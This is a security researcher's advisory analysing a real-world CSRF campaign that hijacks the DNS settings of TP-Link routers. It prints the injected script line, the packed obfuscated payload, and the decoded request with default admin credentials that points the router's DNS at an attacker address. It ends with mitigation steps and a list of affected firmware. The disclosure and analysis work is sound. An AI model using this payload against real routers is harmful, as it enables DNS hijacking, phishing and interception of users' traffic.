Advisory location:
https://www.jakoblell.com/blog/2013/10/30/real-world-csrf-attack-hijacks-dns-server-configuration-of-tp-link-routers-2/

I. Introduction

Today the majority of wired Internet connections is used with an 
embedded NAT router, which allows using the same Internet connection 
with several devices in parallel and also provides some protection 
against incoming attacks from the Internet. Most of these routers can be 
configured via a web interface. Unfortunately many of these web 
interfaces suffer from common web application vulnerabilities such as 
CSRF, XSS, insecure authentication and session management or command 
injection. In the past years countless vulnerabilities have been 
discovered and publicly reported. Many of them have remained unpatched 
by vendors and even if a patch is available, it is typically only 
installed to a small fraction of the affected devices. Despite these 
widespread vulnerabilities there have been very few public reports of 
real-world attacks against routers so far. This article exposes an 
active exploitation campaign against a known CSRF vulnerability 
(CVE-2013-2645) in various TP-Link routers. When a user visits a 
compromised website, the exploit tries to change the upstream DNS server 
of the router to an attacker-controlled IP address, which can then be 
used to carry out man-in-the-middle attacks.

II. Analysis of the exploit

This section describes one occurrence of the exploit. I have seen five 
different instances of the exploit on unrelated websites so far and the 
details of the obfuscation differ between them. However, the actual 
requests generated by the exploits are the same except for the DNS 
server IP addresses.

As you would expect for malicious content added to a website the exploit 
is hidden in obfuscated javascript code. The first step is a line of 
javascript appended to a legitimate javascript file used by the website:


document.write("<script type=\"text/javascript\" 
src=\"https://www.[REDACTED].com/js/ma.js\">");


It is possible that the cybercrooks append this line to various 
javascript files on compromised web servers in an automated way.

This code just dynamically adds a new script tag to the website in order 
to load further javascript code from an external server. The referenced 
file "ma.js" contains the following encoded javascript code:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 
d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return 
p;}('T 
w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x
 3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))


At first this code looks quite complicated and you probably don't want 
to manually analyze and decode it. However, it is clearly visible that 
the file just contains one big eval call. The parameter to eval (the 
code which is executed) is dynamically computed by an anonymous function 
based on the parameters p,a,c,k,e,d. A little bit of googling for 
"eval(function(p,a,c,k,e,d)" shows that this is the result of a publicly 
available javascript obfuscator. There are several online javascript 
deobfuscators you can use to reverse engineer the packed javascript. 
Alternatively, you can also just replace "eval" with "console.log" and 
then paste the code to the javascript console of Chrome Developer Tools. 
This just prints out the decoded javascript, which would otherwise be 
passed to eval. The result of the decoding is the following code:

<pre lang="javascript">
var _$ = 
["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20
 "];
document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);
</pre>

Although this code is still obfuscated, it can easily be understood by 
decoding the hex-encoded strings. The string 
"\x77\x72\x69\x74\x65\x6c\x6e" is the hex-encoded version of "writeln" 
and given the way object oriented programming in javascript works the 
line 'document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);' is just a fancy 
way of writing 'document.writeln(_$[0]);'. The array element _$[0] 
contains the stuff which is written to the document and after decoding 
the escaped hex characters you get the following equivalent code:


document.writeln('<style type="text/css">@import 
url(https://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')


So the obfuscated javascript adds a style tag to the current html 
document. The css in this style tag uses @import to instruct the browser 
to load additional css data from 192.168.1.1, which is the default 
internal IP address of most NAT routers. So it is obviously a CSRF 
attack which tries to reconfigure the router. The following section 
shows an analysis of what the request does with some TP-Link routers.

III. Analysis of the CSRF payload

It is obvious that the payload tries to reconfigure the options for the 
DHCP server included in the router at 192.168.1.1. While the parameters 
also include the start/end of the DHCP ip address range, the main 
purpose of the exploit is to change the primary DNS server to 
106.187.36.85. The secondary nameserver points to a publicly available 
recursive DNS server (in this case the public DNS server provided by 
Google) in order to make sure that the user doesn't notice any 
connectivity problems in case the attacker-controlled nameserver is 
(temporarily) unavailable for any reason. Searching for the string 
"userRpm/LanDhcpServerRpm" quickly revealed that the exploit is 
targeting TP-Link routers. The fact that some TP-Link routers are 
vulnerable to CSRF attacks has already been publicly reported <a 
href="https://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp">[1]</a> 
by Jacob Holcomb in April 2013 and TP-Link has fixed this problem for 
some devices since then. Experiments have shown that several TP-Link 
routers are actually vulnerable to this CSRF attack (see below for an 
incomplete list of affected devices).

It is also worth noting that a web server should use POST instead of GET 
for all actions doing persistent changes to the router. This can protect 
against attacks in some scenarios where the attacker can only trigger 
loading a given URL e.g. by posting an image to a public discussion 
board or sending an HTML email (which could also be used to trigger 
attacks like this if the victim has enabled loading of remote images). 
However, even a POST request to the router can be issued in an automated 
way if the attacker can execute javascript code in the client browser. 
So in order to further protect against CSRF the server should either add 
a securely generated CSRF token or use strict referer checking (which is 
easier to implement on embedded devices).

The affected TP-Link routers use HTTP Basic Authentication to control 
access to the web interface. When entering the credentials to access the 
web interface, the browser typically asks the user whether he wants to 
permanently store the password in the browser. However, even if the user 
doesn't want to permanently store the password in the browser, it will 
still temporarily remember the password and use it for the current 
session. Since the session is only controlled by the browser behavior, 
the router can't actively terminate the session e.g. after a certain 
timeout or when clicking a logout button. Due to this limitation of HTTP 
Basic Authentication the configuration web interface has no logout 
button at all and the only way to terminate the session is closing and 
reopening the browser.

The CSRF exploit also includes the default credentials (username=admin, 
password=admin) in the URL. However, even if a username/password 
combination is given in the URL, the browser will ignore the credentials 
from the URL and still try the saved credentials or no authentication 
first. Only if this results in an HTTP 401 (Unauthorized) status code, 
the browser resends the request with the credentials from the URL. Due 
to this browser behavior the exploit works if the user is either logged 
in to the router or if the standard password hasn't been changed.

IV. Consequences of a malicious DNS server

When an attacker has changed the upstream DNS server of a router, he can 
then carry out arbitrary man-in-the-middle attacks against users of the 
compromised router. Here is a list of several possible actions which can 
be carried out by redirecting certain dns hostnames to an attacker server:
* Redirect users to phishing sites when opening a legitimate website
* Redirect users to browser exploits
* Block software upgrades
* Attacking software updaters which don't use cryptographic signatures
* Replace advertisements on websites by redirecting adservers (that's 
what the dnschanger malware did <a 
href="https://en.wikipedia.org/wiki/DNSChanger">[2]</a>)
* Replace executable files downloaded from the official download site of 
legitimate software vendors
* Hijack email accounts by stealing the password if the mail client 
doesn't enforce usage of TLS/SSL with a valid certificate
* Intercept communication between Android/IOS Apps and their back end 
infrastructure

As of now I do not know what kind of attacks the cybercrooks do with the 
malicious DNS servers. I have done some automated checks and resolved a 
large number of popular domain names with one of the DNS servers used 
for the attack and compared the results against a self-hosted recursive 
resolver. Due to the prevalence of round-robin load-balancing on DNS 
level and location-dependent redirection used e.g. by CDNs (content 
delivery networks) this automated comparison did result in a huge number 
of false positives and due to time constraints I could only manually 
verify those IP addresses which appear for a significant number of 
different hostnames. None of them turned out to be a malicious 
manipulation. However, it is very well possible that the infected 
routers are used for targeted attacks against a limited number of 
websites. If you find out what kind of attacks are carried out using the 
malicious DNS servers, please drop me an email or leave a comment in my 
blog.

V. Prevalence of the exploit

I discovered this exploitation campaign with an automated client 
honeypot system. Until now I spotted the exploit five times on totally 
unrelated websites. During that time the honeypot was generating some 
280 GB of web traffic. The were some differences in the obfuscation used 
for the exploit but the actual CSRF requests generated are basically the 
same. The five instances of the exploit tried to change the primary 
nameserver to three different IP addresses and it is likely that there 
are more of them which I haven't spotted so far.

VI. Recommendations to mitigate the problem

If you are using an affected TP-Link router, you should perform the 
following steps to prevent it from being affected by this exploit:
* Check whether the DNS servers have already been changed in your router
* Upgrade your router to the latest firmware. The vulnerability has 
already been patched at least for some devices
* If you don't get an upgrade for your model from TP-Link, you may also 
check whether it is supported by OpenWRT
* Change the default password to something more secure (if you haven't 
already done so)
* Don't save your router password in the browser
* Close all other browser windows/tabs before logging in to the router
* Restart your browser when you're finished using the router web 
interface (since the browser stores the password for the current browser 
session)

VII. Affected Devices

I have already checked some TP-Link routers I had access to whether they 
are vulnerable to the attack. Some devices do contain the vulnerability 
but are by default not affected by the exploits I've seen so far because 
they are not using the IP address 192.168.1.1 in the default configuration.


* TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405 is 
vulnerable (version 3.3.13 build 130325 and later is not vulnerable)
* TP-Link TL-MR3020: firmware version 3.14.2 Build 120817 Rel.55520n and 
version 3.15.2 Build 130326 Rel.58517n are vulnerable (but not affected 
by current exploit in default configuration)
* TL-WDR3600: firmware version 3.13.26 Build 130129 Rel.59449n and 
version 3.13.31 Build 130320 Rel.55761n are vulnerable (but not affected 
by current exploit in default configuration)
* WR710N v1: 3.14.9 Build 130419 Rel.58371n is not vulnerable

It is likely that some other devices are vulnerable as well.

If you want to know whether your router is affected by this 
vulnerability, you can find it out by performing the following steps:
1. Open a browser and log in to your router
2. Navigate to the DHCP settings and note the DNS servers (it may be 
0.0.0.0, which means that it uses the DNS server from your router's 
upstream internet connection)
3. Open a new browser tab and visit the following URL (you may have to 
adjust the IP addresses if your router isn't using 192.168.1.1):

https://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.4.4&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

If your router is vulnerable, this changes the DNS servers to 8.8.4.4 
and 8.8.8.8 (the two IP addresses from Google Public DNS). Please note 
that the request also reverts the DHCP IP range and lease time to the 
default value.
4. Go back to the first tab and reload the DHCP settings in the router 
web interface
5. If you see the servers 8.8.4.4 and 8.8.8.8 for primary and secondary 
DNS, your router is vulnerable.
6. Revert the DNS settings to the previous settings from step 2
7. If your router is vulnerable, you may also upgrade it to the latest 
firmware and check whether it is still vulnerable.

Feel free to drop me an email or post a comment with your model number 
and firmware version so that I can add the device to the list above.

VIII. References

[1]: 
https://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp
[2]: https://en.wikipedia.org/wiki/DNSChanger